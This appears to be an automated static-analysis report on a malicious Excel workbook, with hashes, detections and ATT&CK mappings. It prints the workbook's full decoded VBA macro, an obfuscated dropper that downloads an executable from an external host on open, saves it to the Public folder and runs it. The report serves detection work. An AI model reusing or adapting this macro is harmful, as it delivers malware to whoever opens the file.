Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5162d67fe571a80e…

MALICIOUS

Office (OOXML)

52.1 KB First seen: 2020-09-15
MD5: 4e777e79157f87ee0ba9cb80e4f8fcda SHA-1: 9219b3a8a4de3a2aaea94b6485096dd1a3704a72 SHA-256: 5162d67fe571a80e9b1dc7683a99b491d09e512639a09f853caec76a9861abe6
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The VBA macro contains obfuscated code that decodes a URL and downloads an executable file. The Workbook_Open subroutine triggers this process, indicating an automated execution upon opening the document. The script reconstructs the URL 'the embedded link' and saves the downloaded content to 'C:\Users\Public\svghost32.exe', which is then likely executed.

Heuristics 6

  • ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    GGhaMKlaOpRqWERacxvXZCDsPloia.write ZokKal567398BBCnokalLLaLmkFS.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set ZokKal567398BBCnokalLLaLmkFS = CreateObject(No89NO90No02NO092qwrNO034No6782NONO("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ZokKal567398BBCnokalLLaLmkFS = CreateObject(No89NO90No02NO092qwrNO034No6782NONO("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3146 bytes
SHA-256: 6b0108055e6537beccfdbfb877a985de538faddd493552969b15ad4e598b0da4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
ZOKAGh67345OKCBGF_BCHGDRwesrasjiu"68 74 74 70 3A 2F 2F 6D 61 69 6C 2E 7A 61 6E 65 6C 6C 6F 2E 61 64 76 2E 62 72 2F 77 6F 72 64 70 72 65 73 73 2F 77 70 2D 69 6E 63 6C 75 64 65 73 2F 31 61 2F 69 62 2E 65 78 65"
End Sub
Public Sub ZOKAGh67345OKCBGF_BCHGDRwesrasjiu(Link As String)

Dim ZokKal567398BBCnokalLLaLmkFS

Dim GGhaMKlaOpRqWERacxvXZCDsPloia

Dim QQQBBnaOpa767VCGwRSPlo_DD78K

Set ZokKal567398BBCnokalLLaLmkFS = CreateObject(No89NO90No02NO092qwrNO034No6782NONO("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Set GGhaMKlaOpRqWERacxvXZCDsPloia = CreateObject(No89NO90No02NO092qwrNO034No6782NONO("41 44 4f 44 42 2e 53 74 72 65 61 6d"))

Set QQQBBnaOpa767VCGwRSPlo_DD78K = CreateObject(No89NO90No02NO092qwrNO034No6782NONO("57 53 63 72 69 70 74 2e 53 68 65 6c 6c "))

Url = No89NO90No02NO092qwrNO034No6782NONO(Link)

urloasjdklweqad_babu = No89NO90No02NO092qwrNO034No6782NONO("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")

RUNCMD = No89NO90No02NO092qwrNO034No6782NONO("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")

ZokKal567398BBCnokalLLaLmkFS.Open "G" + "E" + "T", Url, False

ZokKal567398BBCnokalLLaLmkFS.send

GGhaMKlaOpRqWERacxvXZCDsPloia.Type = 1

GGhaMKlaOpRqWERacxvXZCDsPloia.Open

GGhaMKlaOpRqWERacxvXZCDsPloia.write ZokKal567398BBCnokalLLaLmkFS.responseBody

GGhaMKlaOpRqWERacxvXZCDsPloia.savetofile urloasjdklweqad_babu, 2

QQQBBnaOpa767VCGwRSPlo_DD78K.Run RUNCMD

End Sub

Public Function No89NO90No02NO092qwrNO034No6782NONO(ByVal GHAbvCPlMXcvAwOPARTQbVCMkopLAsdVXFdvUI As String) As String
Dim wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa   As String
Dim BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT As String
Dim ZadPLQaZVxgfTHsPLMCbhGHartQpLYTDhsVCBNshREaMZxcDD         As Long
    For ZadPLQaZVxgfTHsPLMCbhGHartQpLYTDhsVCBNshREaMZxcDD = 1 To Len(GHAbvCPlMXcvAwOPARTQbVCMkopLAsdVXFdvUI) Step 3
        wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa = Chr$(Val("&H" & Mid$(GHAbvCPlMXcvAwOPARTQbVCMkopLAsdVXFdvUI, ZadPLQaZVxgfTHsPLMCbhGHartQpLYTDhsVCBNshREaMZxcDD, 2)))
        BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT = BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT & wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa
    Next ZadPLQaZVxgfTHsPLMCbhGHartQpLYTDhsVCBNshREaMZxcDD
    No89NO90No02NO092qwrNO034No6782NONO = BskNReMCJaZCoNQWxhdNHPWROasZurAFICRkzTCZSOMTNogwUKNAfZT
End Function

Attribute VB_Name = "Sheet 1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 5632 bytes
SHA-256: 434a0ec3b27fa5f7444bc08c27f9adec318634f2eae209aefd58ac8e3606bb34
Detection
ClamAV: Xls.Dropper.EPPlus-9802867-2
Obfuscation or payload: unlikely

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